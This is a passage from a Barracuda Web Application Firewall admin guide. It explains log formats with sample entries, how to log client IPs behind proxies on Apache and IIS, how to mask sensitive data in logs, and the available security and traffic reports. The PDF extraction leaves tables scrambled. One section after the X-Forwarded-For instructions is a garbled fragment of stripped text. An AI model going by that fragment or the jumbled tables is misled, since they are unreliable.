configured specifically for the given Web site.
URL Profile – indicates that the request

matched one of the rules configured on the
URL Profile.
Parameter Profile – indicates that the

request matched one of the rules configured
on the Parameter Profile.
Header Profile – indicates that the request

matched one of the rules configured on the
Header Profile.
Action LOG The appropriate action applied on the traffic.
DENY - denotes that the traffic is denied.

LOG - denotes monitoring of the traffic with
the assigned rule.
WARNING - warns about the traffic.
Follow-up Action NONE The follow-up action as specified by the

action policy. It could be either None or Lock
ed in case the lockout is chosen.
Attack Details [POST /index.cgi] The details of the attack triggered by the
request.
Method POST The HTTP method used by the request.

Values: GET, POST, HEAD, etc.
Host + URL 99.99.109.2/index.cgi The URL specified in the request.

OR
2001::1:109/index.cgi
Protocol HTTP The protocol used for the request.
Session ID REQ-0+RES-0 The value of the session tokens found in the

request if session tracking is enabled.
Session Tracking is configured on the WEBS
ITES > Advanced Security page.
User Agent Mozilla/5.0 (X11; Linux i686; rv:12.0) The value contained in the User-Agent
Gecko/20100101 Firefox/12.0 request header. Normally, this information is
submitted by the clients which details the
browser, operating system, software vendor
or software revision, in an identification
string.

Proxy IP 99.99.1.117 If the client requests are coming through a

OR proxy or gateway, then this field provides the
2001::117 IP address of the proxy.
A client side proxy or gateway changes the

source IP of the request to its own and
embeds the actual client’s IP in an HTTP
header such as X-Forwarded-For or
X-Client-IP.
The Barracuda Web Application Firewall, if

configured, will ignore the proxy IP and
extract the actual client IP from the
appropriate header to apply security policies
as well as for logging the Client IP field
above.
This field preserves the proxy IP address for

cases where it is required, e.g. forensics and
analytics
Note: The actual client IP header

configuration is done using the Header
Name For Actual Client IP under the Edit
actions for a service on the BASIC >
Services page.
Proxy Port 34005 The port of the proxy server whose IP

OR address has been logged in the Proxy IP fiel
43654 d above.
Authenticated User Kevin The username of the currently authenticated

client requesting the web page. This is
available only when the request is for a
service that is using the AAA (Access
Control) module.
Referrer http://99.99.109.2/index.cgi The value contained in the Referrer HTTP

OR request header. It identifies the web resource
http://2001::109/index.cgi from which the client was “referred” to the
requested URL.
Access Logs
All web traffic activities are logged under the Access Logs. These logs help the administrator to obtain information about the website traffic and
performance.
The BASIC > Access Logs page allows you to view the generated log messages stored on the Barracuda Web Application Firewall in a log
database.
The default log format for Access Logs:
%t %un %lt %ai %ap %ci %cp %id %cu %m %p %h %v %s %bs %br %ch %tt %si %sp %st
%sid %rtf %pmf %pf %wmf %u %q %r %c %ua %px %pp %au %cs1 %cs2 %cs3
Unit Name, Log Type, and Log ID are not displayed on the BASIC > Access Logs page.
IPv4 Example:
2014-04-11 12:04:04.735 +0530 wafbox1 TR 99.99.109.2 80 99.99.1.117 34065 "-" "-" GET HTTP 99.99.106.25
HTTP/1.1 200 2829 232 0 1127 10.11.25.117 80 21 REQ-0+RES-0 SERVER DEFAULT PASSIVE VALID /index.html
name=srawat http://99.99.109.2/index.cgi namdksih=askdj "Mozilla/5.0 (X11; Linux i686; rv:12.0)
Gecko/20100101 Firefox/12.0" 99.99.1.117 34065 John gzip,deflate 99.99.1.128 keep-alive
IPv6 Example:
2014-04-11 12:11:24.964 +0530 wafbox1 TR 2001::1:109 80 2001::117 43740 "-" "-" GET HTTP 2001::1:109
HTTP/1.1 200 2837 232 0 1008 2001::117 80 10 REQ-0+RES-0 SERVER DEFAULT PASSIVE VALID /index.html

name=srawat http://2001::1:109/index.cgi namdksih=askdj "Mozilla/5.0 (X11; Linux i686; rv:12.0)

Gecko/20100101 Firefox/12.0" 2001::117 43740 John gzip,deflate 2001::128 keep-alive
The table below describes each element of an access log with respect to the above example:
Time 2014-04-11 12:04:04.735 +0530 The time recorded in the following format:
yyyy-mm-dd hh:mm:ss.s (one or more digits
representing a decimal fraction of a
second)TZD(time zone designator which is
either Z or +hh:mm or -hh:mm)
Unit Name wafbox1 The name of the unit specified as Default

Hostname on the BASIC > IP
Configuration page.
Log Type TR Denotes the type of log: Web Firewall Log,

or System Log.
Service IP 99.99.109.2 The IP address of the service that receives

OR the traffic.
2001::1:109
Service Port 80 The port relevant to the IP address of the

service.
Client IP 99.99.1.117 The IP address of the client sending the

OR request.
2001::117
Note that an intermediate proxy or gateway
may have overwritten the actual source IP of
the client with it’s own. To retrieve the actual
client IP for logging you should configure the
Header Name For Actual Client IP under
the Edit actions for a service on the BASIC >
Services page.
If the above is configured, the actual client IP
is extracted from the header, e.g.
X-Forwarded-For and used to populate this
field and used in security policy checks
involving the client IP as well. See related Pr
oxy IP field below as well.
Client Port 59589 The port relevant to the client IP address.

OR
43646
Login - The login ID used by the client when

authentication is set to "ON" for the service
on the ACCESS CONTROL >
Authentication Policies page. This would
be the user authenticated by LDAP,
RADIUS, RSA SecurID, SAML IDP, or
Kerberos authentication service configured
on the Barracuda Web Application Firewall.
Certificate User - The username as found in the SSL certificate

when Client Authentication is enforced by
Method GET The request method of the traffic.
Protocol (HTTP or HTTPS) HTTP The protocol used for communication with
the web server, either HTTP or HTTPS.

Host 99.99.106.25 The IP address of the host or website

OR accessed by the user.
2001::1:109
Version HTTP/1.1 The HTTP version used by the request.
HTTP status 200 The standard response code which helps

identify the cause of the problem when a
web page or other resource does not load
properly.
Bytes Sent 2829 The bytes sent as response by the

Barracuda Web Application Firewall to the
client.
Bytes Received 232 The bytes received from the client as a part
of the request.
Cache Hit 0 Specifies whether the response is served out

of the Barracuda Web Application Firewall
cache or from the back-end server.
Values:
0 – if the request is fetched from the server

and given to the user.
1 – if the request is fetched from the cache
and given to the user.
Time Taken (ms) 1127 The total time taken to serve the request
from the time the request landed on the
Barracuda Web Application Firewall till the
last byte given out to the client.
Server IP 10.11.25.117 The IP address of the back-end web server.

OR
2001::117
Server Port 80 The port relevant to the back-end web

server.
Server Time (ms) 21 The total time taken by the back-end server
to serve the request forwarded to it by the
Session ID REQ-0+RES-0 The value of the session tokens found in the

request if session tracking is enabled.
Session Tracking is configured on the WEBS
ITES > Advanced Security page.
Response Type SERVER Specifies whether the response came from

the back-end sever or from the Barracuda
Web Application Firewall.
Values: INTERNAL, SERVER.
Profile Matched DEFAULT Specifies whether the request matched a

defined URL or Parameter Profile.
Values: DEFAULT, PROFILED.
Protected PASSIVE Specifies whether the request went through

the Barracuda Web Application Firewall rules
and policy checks.
Values: PASSIVE, PROTECTED,

UNPROTECTED.
WF Matched VALID Specifies whether the request is valid or not.
Values: INVALID, VALID.

URL /index.html The URL of the request without the query

part.
Query String name-srawat The query part of the request.
Referrer http://99.99.109.2/index.cgi The value contained in the Referrer HTTP

OR request header. It identifies the web resource
http://2001::1:109/index.cgi from which the client was “referred” to the
requested URL.
Cookie namdksih=askdj The cookie as found in the HTTP request

headers.
User Agent Mozilla/5.0 (X11; Linux i686; rv:12.0) The value contained in the User-Agent
Gecko/20100101 Firefox/12.0 request header. Normally, this information is
submitted by the clients which details the
browser, operating system, software vendor
or software revision, in an identification
string.
Proxy IP 99.99.1.117 If the client requests are coming through a

OR proxy or gateway, then this field provides the
2001::117 IP address of the proxy.
A client side proxy or gateway changes the

source IP of the request to its own and
embeds the actual client’s IP in an HTTP
header such as X-Forwarded-For or
X-Client-IP.
The Barracuda Web Application Firewall, if

configured, will ignore the proxy IP and
extract the actual client IP from the
appropriate header to apply security policies
as well as for logging the Client IP field
above.
This field preserves the proxy IP address for

cases where it is required, e.g. forensics and
analytics.
Note: The actual client IP header

configuration is done using the Header
Name For Actual Client IP under the Edit
actions for a service on the BASIC >
Services page.
Proxy Port 34065 The port of the proxy server whose IP

address has been logged in the Proxy IP fiel
d above.
Authenticated User John The username of the currently authenticated

client requesting the web page.
Custom Header 1 gzip,deflate The header name for which you want to see
the value in the Access Logs.
Custom Header 2 99.99.1.128 The header name for which you want to see
OR the value in the Access Logs.
2001::128
Custom Header 3 keep-alive The header name for which you want to see
the value in the Access Logs.
Audit Logs
The audit logs record the activity of the users logged in to the GUI of the Barracuda Web Application Firewall for the purpose of administration.
These logs are visible on the BASIC > Audit Logs page and are also stored on the Barracuda Web Application Firewall in its native database.
Additionally, when the administrator chooses an external remote syslog server through the configuration available at ADVANCED > Export Logs
, these logs are streamed to the remote syslog servers with the priority as INFO.

The default log format for Audit Logs:
%t %un %lt %an %ct %li %lp %trt %tri %cn %cht %ot %on %var %ov %nv %add
Unit Name, Log Type, and Log ID are not displayed on the BASIC > Audit Logs page.
IPv4 Example:
2014-02-24 09:05:17.764 -0800 wafbox1 AUDIT Adam GUI 10.11.18.121 24784 CONFIG 166 config SET
virtual_ip_config_address 99.99.130.45 virtual_ip_config_interface "" "WAN" []
IPv6 Example:
2014-02-24 10:05:17.764 -0800 wafbox1 AUDIT Adam GUI 2001::117 23390 CONFIG 196 config SET
virtual_ip_config_address 2001::2:109 virtual_ip_config_interface "" "WAN" []
The table below describes each element of an audit log with respect to the above example:
Time 2014-02-24 09:05:17.764 -0800 The time recorded in the following format:
yyyy-mm-dd hh:mm:ss.s (one or more digits
representing a decimal fraction of a
second)TZD(time zone designator which is
either Z or +hh:mm or -hh:mm)
Unit Name wafbox1 The name of the unit specified in the Default
Hostname field on the BASIC > IP
Configuration page.
Log Type AUDIT Specifies the type of log: Web Firewall Log,
or System Log.
Admin Name Adam The name of the logged in user.
Client Type GUI This indicates that GUI is used as client to

access the Barracuda Web Application
Firewall.
Login IP 10.11.18.121 The IP address from which the activity

OR happened.
2001::117
Login Port 24784 The port from which the activity happened.
Transaction Type CONFIG Denotes the type of transaction done by the

system administrator.
Values: LOGIN, LOGOUT, CONFIG,

COMMAND, ROLLBACK, RESTORE,
REBOOT, SHUTDOWN, FIRMWARE
UPDATE, ENERGIZE UPDATE, SUPPORT
TUNNEL OPEN, SUPPORT TUNNEL
CLOSED, FIRMWARE APPLY, FIRMWARE
REVERT, TRANSPARENT MODE,
UNSUCCESSFUL LOGIN, ADMIN ACCESS
VIOLATION.
Transaction ID 166 Specifies the transaction ID for the

transaction that makes the persistent
change.
Note: Events that do not change anything do
not have a transaction ID. This is indicated
by transaction ID of -1.

Command Name config The name of the command that was

executed on the Barracuda Web Application
Firewall.
Change Type SET Denotes the type of change made to the

configuration.
Values: NONE, ADD, DELETE, SET.
Object Type virtual_ip_config_address The type of the object which is being

modified.
Object Name 99.99.130.45 The name of the object type that is being
OR modified.
2001::2:109
Variable virtual_ip_config_interface The internal name of the parameter which is

under modification.
Old Value - The value before modification.
New Value WAN The value after modification.
Additional Data [] Provides

more information on the parameter changed.
The network traffic passing through the interfaces (WAN, LAN and MGMT) that matches the configured Network ACL rule are logged under
Network Firewall Logs. The log entries provide information about every packet that the Barracuda Web Application Firewall has allowed or denied
based on the Action specified in the ACL rule. Using this information, you can identify where the network traffic originated and where it was
destined for, and the action applied. These log entries can be viewed on the ADVANCED > Network Firewall Logs page.
The default log format for Network Firewall Logs:
%t %un %lt %sl %p %si %sp %di %dp %act %an %dsc
IPv4 Example:
2014-05-20 00: 56:42.195 -0700 WAF1 NF INFO TCP 99.99.1.117 52676 99.99.79.2 80 ALLOW testacl MGMT/LAN/WAN
interface traffic:allow
IPv6 Example:
2014-05-20 02: 51:36.455 -0700 WAF1 NF INFO TCP 2001:4528::231 46739 2001:4528:2::79 80 ALLOW testacl
MGMT/LAN/WAN interface traffic:allow
The table below describes each element of a network firewall log with respect to the above example:
Time 2014-04-10 09:37:58.749 -0700 The date and time at which the event
occurred. Date format is Year-Month-Day,
and time format is Hours:
Minutes:Seconds:Milliseconds.
Unit Name WAF1 The name of the unit specified in the Defaul
t Hostname field on the BASIC > IP
Configuration page.
Log Type NF Specifies whether it is of type Web Firewall

Log, Access Log, Audit Log, Network
Firewall Log or System Log.

Severity INFO Defines the seriousness of the attack.
Values:

(highest priority).
immediately.
condition.
changes).
priority).
Protocol TCP The layer 3 protocol type of the

corresponding packet.
Source IP 99.99.1.117 The IP address of the source that originated

OR the network traffic.
2001:4528::231
Source Port 52676 The port number of source that originated

OR the network traffic.
46739
Destination IP 99.99.79.2 The IP address of the destination network or

OR host.
2001:4528:2::79
Destination Port 80 The port number of the network or host to

which the packet was destined.
ACL Policy ALLOW The ACL policy (Allow or Deny) applied to

this ACL rule.
ACL Name testacl The name of the corresponding ACL rule.
Interface MGMT/LAN/WAN interface The incoming network interface traffic

passes through.
Details traffic:allow The details of the ACL rule.
Table of Log Formats
The following table describes names and values for each log:
System Logs Web Firewall Logs Access Logs Audit Logs
%ei - Event ID %ai - Service IP %ai - Service IP %add - Additional Data
%ll - Log Level %ap - Service Port %ap - Service Port %an - Admin Name
%lt - Log Type %at - Action %au - Authenticated User %cht - Change Type
%un - Unit Name %ad - Attack Type %br - Bytes Received %ct - Client Type
%ms - Message %adl - Attack Details %bs - Bytes Sent %cn - Command Name
%md - Module Name %ag - Attack Group %ch - Cache Hit %seq - Log ID
%t - Time %aid - Attack ID %cu - Certificate User %li - Login IP
%au - Authenticated User %ci - Client IP %lp - Login Port
%ci - Client IP %cp - Client Port %lt - Login Type

%cp - Client Port %c - Cookie %nv - New Value
%fa - Follow-up Action %ct - Content Type %on - Object Name
%seq - Log ID %cs1 - Custom Header 1 %ot - Object Type
%lt - Log Type %cs2 - Custom Header 2 %ov - Old Value
%m - Method %cs3 - Custom Header 3 %t - Time
%p - Protocol %h - Host %tri - Transaction ID
%px - Proxy IP %s - HTTP Status %trt - Transaction Type
%pp - Proxy Port %id - Login ID %un - Unit Name
%r - Referer %seq - Log ID %var - Variable
%ri - Rule ID %lt - Log Type %tarc - Epoch/Unix Time Stamp
%rt - Rule Type %m - Method
%sid - Session ID %p - Protocol
%sl - Severity %pf - Protected
%t - Time %px - Proxy IP
%u - URL %pmf - Profile Matched
%ua - User Agent %pp - Proxy Port
%un - Unit Name %q - Query String
%tarc - Epoch/Unix Time Stamp %r - Referer
%uid - Unique ID %rr - Request Referer
%rtf - Response Type
%sid - Session ID
%si - Server IP
%sp - Server Port
%st - Server Time
%t - Time
%tt - Time Taken
%u - URL
%ua - User Agent
%un - Unit Name
%uid - Unique ID
%v - Version
%wmf - WF Matched
%tarc - Epoch/Unix Time Stamp

How to Make the Client IP Address Available to the Back-end Server in Proxy
Mode
When deployed in proxy mode, by default the Barracuda Web Application Firewall appears as the source IP address in the requests it forwards to
the back-end servers. For servers on the back-end needing to access the actual client IP address, the Barracuda Web Application Firewall
provides two configurable ways to achieve this:
Client Impersonation
X-Forwarded-For Header
While both of these options provide the Client IP address to the servers, you should consider the following before deciding which option to use:
Client Impersonation X-Forwarded-For Header
Provides the Client IP address in the Source IP address of the Provides the Client IP address in the Header "X-Forwarded-For" of
request. the Request.
Requires a networking change. Requires a logging change.
Performance impact.
This feature is available only when the Barracuda Web Application Firewall is deployed in Proxy Mode. To use this feature, Show
Advanced Settings must be set to Yes on the ADVANCED > System Configuration page.
To Enable Client Impersonation for a Service:
On the Server:
1. Configure the default gateway of your server to:

a. The WAN IP address if you have a One-Arm proxy deployment.
b. The LAN IP address if you have a Two-Arm proxy deployment.
If the units are in cluster and Client Impersonation is enabled, the default gateway of your server should be pointing to an additional
IP address created on:
WAN subnet on the Barracuda Web Application Firewall in One-Arm Proxy deployment, OR
LAN subnet on the Barracuda Web Application Firewall in Two-Arm Proxy deployment.
On the web interface of the Barracuda Web Application Firewall:
1. From the BASIC > Services page identify the desired Service.
2. Click Edit next to the Server associated with that Service. The Server (Basic Configuration) window appears.
3. Scroll down to the Server (Advanced Configuration) section, and set Client Impersonation to Yes.
4. Click Save.
To Use the Client IP address from the X-Forwarded-For Header
By default, the Client IP Address is inserted by the Barracuda Web Application Firewall in the request Header "X-Forwarded-For" when the
request is forwarded to the back-end server.
To use the embedded IP Address with Apache servers or with IIS 7 or IIS 7.5 servers, refer to the following articles:

How to Log Client IP Address when the Barracuda Web Application Firewall is Deployed Behind a Proxy
If the Barracuda Web Application Firewall is deployed behind a Proxy server, all requests have their client IP address as the address of the Proxy
server, which is logged as the Client IP on the BASIC > Access Logs page. To log the actual client IP address, specify the header name
appended by the Proxy server which contains the actual client IP address in the Header for Client IP Address field on the BASIC > Services pa
ge.
Steps To Configure the Header Name:
1. Edit the Service from the BASIC > Services page.

2. Scroll down to the Basic Security section and specify the header name in the Header for Client IP Address field. The standard

2.
headers used to store the actual client IP address are:
X-Forwarded-For
X-Client-IP
Specify values for other fields as required and click Save. For more information on how to edit a Service, see Step 3: Configuring Basic
Service Settings.
If the Proxy is appending a custom header, then specify that header in the Header for Client IP Address field.
When a request is received, the Barracuda Web Application Firewall gets the actual client IP address from the specified header and displays it in
the Client IP field of the Access Logs.
For example, consider the client IP addresses 174.15.230.2 and 174.15.230.3, and proxy IP address 174.15.230.254. When the client sends a
request, the proxy receives the request and stores the IP address of the client in the X-Forwarded-For or X-Client-IP header, and forwards the
request to the Barracuda Web Application Firewall. The Barracuda Web Application Firewall extracts the client IP address from the specified
header and displays it in the Access Logs.
Scenario 1:
Scenario 2:

ja
Barracuda Web Application FirewallIPIPIP2
X-Forwarded-For
IP
X-Forwarded-For

IPIP X-Forwarded-ForIP
On the Server:

4. Click Save.
X-Forwarded-ForIP
Barracuda Web Application FirewallX-Forwarded-ForIP
ApacheIIS 7/7.5IP

Barracuda Web Application FirewallIP
Barracuda Web Application FirewallIP BASIC > Access Logs Client IPIPIPBASIC > ServicesHeader for Client IP Address
1. BASIC > Services

2. Basic SecurityHeader for Client IP AddressIP
X-Forwarded-For
X-Client-IP
Save Changes3:
Header for Client IP Address
Barracuda Web Application FirewallIPAccess LogsClient IP
IP174.15.230.2174.15.230.3IP174.15.230.254X-Forwarded-ForX-Client-IPIPBarracuda Web Application FirewallBarracuda Web Application

FirewallIP
1:

2:


Configuring Client Impersonation

On the Server:

4. Click Save.


To extract and log the actual client IP address from the X-Forwarded-For header of a request using an Apache server, make the following
changes to the server:
1. Log into the Apache server.

2. Go to /etc/httpd/conf or /usr/local/apache2/conf path and open the file httpd.conf.
3. Search for the string: “LogFormat “%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined”
4. Change the %h to %{X-Forwarded-For}i. The string now appears as “LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %b
\"%{Referer}i\" \"%{User-Agent}i\"" combined”
5. Save the file and restart apache or httpd.

When the Barracuda Web Application Firewall is configured in Proxy mode, it uses the LAN/WAN IP address to communicate with the back-end
server. Hence, the back-end server will not see the actual client IP address coming from clients. By default, the Barracuda Web Application
Firewall forwards the client IP address as the header X-Forwarded-For.
To log the actual client IP address instead of the WAN IP address (in case of One-Arm Proxy), or LAN IP address (in case of Two-Arm Proxy) of
the Barracuda Web Application Firewall in the IIS logs, do the following:
1. Download and Install the Microsoft Advanced Logging extension on the IIS 7.5 server to log the client IP address in IIS 7.5. Alternatively,
download the 64bit MSI Package.
2. After installation, open IIS Manager, select the server root and then Advanced Logging.
Select the individual website if you wish to enable and configure advanced logging options at the site level instead of server
level.
3. Click Enable Advanced Logging under Actions.
4. Click Edit Logging Fields under Actions.
5. On the Edit Logging Fields window, click Add Field and then enter the details as shown in the image below in the Add Logging Field
window.

The Source name should be same as the value specified in Header for Client IP Address on the BASIC > Services page.
6. Click OK, and then scroll down and verify that the new Logging Field is listed.
7. Click Add Log Definition under Actions.

8. On the Log Definition window, enter the Base file name and click Select Fields.
9.

9. On the Select Logging Fields window, select the Client IP Header logging field created in step 6 and click OK.
10. Click Apply and then click Return to Advanced Logging under Actions.
11. Now, the Client IP Header log definition will be listed on the Advanced Logging window. Select Client IP Header, right click and then
select View Log Files.
12. The advanced logs should be available in the default location or the location you specified.
13. Open the log file and view the Client IP address logging.

14. If you want to log additional fields, add the required logging fields as mentioned in step 8 and then repeat the steps from 9 to 13.
To log the actual client IP address in IIS 8.5, follow the steps listed in Microsoft’s Enhanced Logging for IIS 8.5 article.

How to Mask Sensitive Data in Logs
Data masking security of the Barracuda Web Application Firewall obscures sensitive data elements before logging them. Configured parameters
like social security numbers, credit card information, or other proprietary data in the URL parameters of a request can be protected from
unauthorized exposure in the logs. Data masking is configured for an application using parameter names to specify sensitive data. Logged data
appears in BASIC > Access Logs, with the sensitive data overwritten by 'X'es.
Masking cannot be applied to sensitive data in custom parameters or custom headers.

Once masked, the original data cannot be retrieved, recovered, or restored.
To configure Data Masking, perform the following steps:
1. Go to the WEBSITES > Advanced Security page, Mask Sensitive Data In Logs section.
2. Click Edit next to the service for which masking is necessary.
3. In the Mask Sensitive Data window, enter the names of sensitive parameters. You can provide multiple parameter names separated by
commas with no spaces between. Example: cardId,securityNumber,password
You can use the asterisk (*) wildcard character to mask all parameters in the URL.
4. Click Save.

Reporting
The BASIC > Reports page allows you to configure and generate reports of various types, based on all logged information. You can either
generate a one-time report or configure the Barracuda Web Application Firewall to automatically generate the reports on an hourly, daily, weekly
or monthly basis. Reports can be emailed to specific email addresses or sent to an FTP server.
The Barracuda Web Application Firewall reports are broadly classified into following groups:
Security Reports
Summary Reports
PCI DSS Reports
Configuration Summary Reports
Traffic Reports
Aggregated System Traffic Reports
Client Traffic Reports
Service Traffic Reports
Server Traffic Reports
How to Filter a Report
You can apply a filter to the “Security” and “Traffic” reports and limit a report to specific data. For example, the Requests By Hour report under
“Traffic” displays the number of requests received each hour in last 24 hours. If you want to view the number of requests received from a
particular client IP address, then specify the client IP address in the filter and view the report. To apply a filter for the example above, perform the
following steps:
1. Go to the BASIC > Reports page.

2. In the Report Options section, click Show Advanced Options.
3. Select “Client IP” from the Traffic Filter drop-down list and enter the IP address of the client.
4. Scroll down to the Traffic section and click Show Report next to Request By Hour.

Drill Down a Report
You can drill down some of the reports under “Security” and “Traffic” to view data in more detail. For example, the Attacks By Services report
displays the number of attacks on the services. Click the drill down link in the data to view different categories of attacks on the services.


How to Schedule a Report
1. Go to the BASIC > Reports page.

2. Optional: In the Report Options section, click Show Advanced Options and configure filters for Security and Traffic reports.
3. Select the check box(es) next to the report type(s) under the report group (Security, Traffic, Audit and System, Config Summary and
PCI Reports).
4. In the Schedule Report section, enter a name for the report, select how you want the report to be delivered (Email or FTP), and how
frequently you want the report to be generated automatically.
5. Click Apply.

Security Reports
Security reports cover web attack prevention activity performed by the Barracuda Web Application Firewall. For example:
Number of attacks for categories such as Forceful Browsing, XSS Injections,etc., for the specified Service(s) and time frame
Number of attacks on the Service(s) within the specified time frame
Number of attacks attempted during each hour of the specified day
Top attacked domains and URLs
Top attacking clients - top clients who attacked the services
Top attacking region/country – top countries from which the attacks were attempted
The following table provides a detailed description of each report in the Security section:
Report Name Report Description Graph/Chart Type Data in Graph/Chart Drill Down
Attacks By Category Displays the number of Bar Chart X plots display the Report can be drilled
attacks for the categories count of attacks down by:
such as Forceful corresponding to
Browsing, XSS Injections, Services
each attack
etc., for the specified Clients
category.
service(s) and time Time stamp
Y plots display attack
frame. For more category.
information on attack
categories, see Attacks
Description - Action
Policy.
The following are the

attack categories
displayed in the report
graph:
Forceful Browsing
XML Violations
Auth Attacks
Outbound Attacks
Session Tamper
Attacks
Injection Attacks
SQL attacks
DDos Attacks
JSON Violation
Prototcol Violation
XSS Injections
FILE Attacks
Limits Violation
Other Attacks
Attacks By Service Displays the number of Bar Chart X plots display the Report can be drilled
attacks for the service(s) count of attacks down by:
within the specified time corresponding to
frame. Domain
each service.
Time Stamp
Y plots display the
Attack Category
service IP
Client
address(es)
Attacks By Hour Displays the number of Bar Chart X plots display the None
attacks attempted during count of attacks
each hour of the specified corresponding to
day. each hour.
Y plots display the
date and time in Yea
r-Month-Date-Hour (i
.e.YYYY-MM-DD
HH:00) format for
last 24 hours.

Attacks By Day Displays the number of Bar Chart X plots display the Report can be drilled
attacks attempted during count of attacks down by:
each day of the specified corresponding to
month Services
each day.
Attack Category
Y plots display the
Clients
date in Year-Month-
Date (i.e.YYYY-MM-
DD) format.
Top Attacking Clients Displays the number of Bar Chart X plots display the Report can be drilled
attacks from the client(s) count of attacks. down by:
within the specified time Y plots display the IP
frame. Services
address(es) of
Attack Category
attacking clients.
Top Attacked Domains Displays top attacked Bar Chart X plots display the Report can be drilled
domains based on the count of attacks. down by:
requests received. Y plots display the
Time
name of attacked
Attack Category
domains.
Services
Top Attacked URLs Displays top attacked Bar Chart X plots display the Report can be drilled
URLs based on the count of attacks. down by:
requests received. Y plots display the
Time
attacked URLs.
Attack Category
Blocked Requests by Displays the number of Bar Chart X plots display the None
Services requests blocked by each count of blocked
service. requests.
Y plots display the
service IP
address(es) that
blocked the
requests.
Flagged Requests by Displays the number of Bar Chart X plots display the None
Services requests allowed by each count of allowed
service. requests.
Y plots display the
service IP
address(es) that
allowed the
requests.
Attacked Services By Displays the number of Bar Chart X plots display the None
Hour attacks on services for count of attacks
each hour of the day. corresponding to
each hour.
Y plots display the
.e.YYYY-MM-DD
HH:00) format for
last 24 hours.
Top Attacking Displays the number of Bar Chart X plots display the Report can be drilled
Region/Country attacks from different count of attacks down by:
countries within the corresponding to
specified time frame. Time
country code.
Service
Y plots display the
two (2) character
country code.
Examples:
Attacks By Service Report:

Top Attacking Clients Report:
Top Attacking Region/Country Report:


Traffic Reports
Traffic reports are categorized into the four following groups:

Service Traffic Reports cover web traffic activities monitored by the Barracuda Web Application Firewall for the configured services.
The following table provides a detailed description of each report in the Service Traffic Reports section:
User Agents Per Service Displays user agents Bar Chart X plots display the None
used to access the count of user agents.
service. Y plots display the
names of user
agents that
accessed the
service.
Top URLs By Request Displays top URLs Bar Chart X plots display the None
accessed based on the count of requests
requests received. corresponding to
URLs.
Y plots display the
URLs accessed
based on the
requests received.
Top URLs By Bandwidth Displays top URLs based Bar Chart X plots display the None
on bandwidth usage. bandwidth usage (in
bytes) corresponding
to URLs.
Y plots display the
URLs accessed
based on bandwidth
usage.
Top Services By Request Displays top services Bar Chart X plots display the Report can be drilled
accessed based on the count of requests down by:
requests. corresponding to
Response Type
services.
Y plots display the IP
address/Port of
services accessed
by the clients..
Top Services By Displays top services Bar Chart X plots display the None
Bandwidth based on bandwidth bandwidth usage (in
usage. bytes) corresponding
to services.
address/Port of
services based on
bandwidth usage.

Top Domains By Request Displays top domains Bar Chart X plots display the Report can be drilled
accessed based on the count of requests down by:
requests. corresponding to
Response Type
domains.
Y plots display the
domain names
accessed based on
the requests
received.
Top Domains By Displays top domains Bar Chart X plots display the None
to domains.
Y plots display the
domain names
based on bandwidth
usage.
Performance Summary Displays average Bar Chart X plots display the None
on Selected Service response time taken by response time (in
the selected service to milliseconds) for the
process a request. corresponding
service.
Y plots display the
date in Year-Month-
Date (i.e.YYYY-MM-
DD) format.
Client Traffic Reports cover web client activity monitored by the Barracuda Web Application Firewall.
The following table provides a detailed description of each report in the Client Traffic Reports section:
Top Clients by Request Displays top clients (IP Bar Chart X plots display the Report can be drilled
addresses) accessing the count of requests down by:
service based on the corresponding to
requests sent. Response Type
clients.
address(es) of
clients accessing the
service..
Top Clients By Bandwidth Displays top clients Bar Chart X plots display the None
based on bandwidth bandwidth usage (in
to clients.
address(es) of
clients based on
bandwidth usage.
Top User Agents By Displays top user agents Bar Chart X plots display the None
Request based on the requests count of user agents.
sent. Y plots display the
names of user
agents based on the
requests.

Top User Agents By Displays top user agents Bar Chart X plots display the None
to user agents.
Y plots display the
names of user
agents based on
bandwidth usage.
Requests By Device Displays the devices Bar Chart X plots display the None
Type used to send requests. count of requests
Example: desktop corresponding to
device type.
Y plots display the
devices through
which the requests
were sent.
Top Region/Country By Displays the number of Bar Chart X plots display the Report can be drilled
Request requests received from count of requests down by:
different countries within corresponding to
the specified time frame. Domains
country code.
Services
Y plots display the
Time
two (2) character
country code.
Server Traffic Reports cover web traffic activities monitored by the Barracuda Web Application Firewall for the configured servers.
The following table provides a detailed description of each report in the Server Traffic Reports section:
Top Accessed Servers Displays top servers that Bar Chart X plots display the None
are accessed by clients. count of requests
corresponding to
servers.
address(es) of
servers that are
accessed by clients.
Top Accessed Servers Displays top servers Bar Chart X plots display the None
Per Service accessed by clients for count of servers.
the selected service. Y plots display the IP
address(es) of
servers that are
accessed by clients
for the selected
service.
Top Accessed Services Displays the number of Bar Chart X plots display the None
By Hour services accessed by count of services
clients for each hour of corresponding to
the day. each hour.
Y plots display the
.e.YYYY-MM-DD
HH:00) format for
last 24 hours.

Server Response Displays the summary of Pie Chart The pie chart displays the Report can be drilled
Summary server response status. distribution of HTTP down by:
Example: 404, 200, 302, response codes (such as
etc. 200 OK, 302 Redirect, Service
404 Page Not Found,
etc.) count.
Server Response Displays the summary of Bar Chart X plots display the None
Summary by Hour server response for each count of server
hour of the day. response
corresponding to
each hour.
Y plots display the
.e.YYYY-MM-DD
HH:00) format for
last 24 hours.
Server Response Displays the summary of Bar Chart X plots display the Report can be drilled
Summary by Day server response for the count of server down by:
specified time frame. response
Hour
corresponding to
each day.
Y plots display the
r-Month-Date (i.e.YY
YY-MM-DD) format.
Aggregated System Traffic Reports cover web traffic activities monitored by the Barracuda Web Application Firewall.
The following table provides a detailed description of each report in the Aggregated System Traffic Reports section:
Requests By Hour Displays the aggregated Bar Chart X plots display the None
system traffic for each count of requests
hour of the day. corresponding to
each hour.
Y plots display the
.e.YYYY-MM-DD
HH:00) format for
last 24 hours.
Bandwidth By Hour Displays the aggregated Bar Chart X plots display the None
system traffic based on bandwidth usage (in
bandwidth usage for each bytes) corresponding
hour of the day. to each hour.
Y plots display the
.e.YYYY-MM-DD
HH:00) format for
last 24 hours.

Performance Summary Displays the time taken to Bar Chart X plots display None
By Hour respond to a request for response time (in
each hour of the day. milliseconds)
corresponding to
each hour.
Y plots display the
.e.YYYY-MM-DD
HH:00) format for
last 24 hours.

Summary Reports
This report includes the operational summary of the system, including traffic and attacks. The System Summary report is a collection of the
following sub-reports:
Graph/Chart Name Graph/Chart Type Data in Graph/Chart
Traffic Summary Column Chart X plots display the date and time in Year
-Month-Date (i.e.YYYY-MM-DD) format.
Y plots display the count of requests
corresponding to each day.
Attacks Summary Column Chart X plots display the date and time in Year
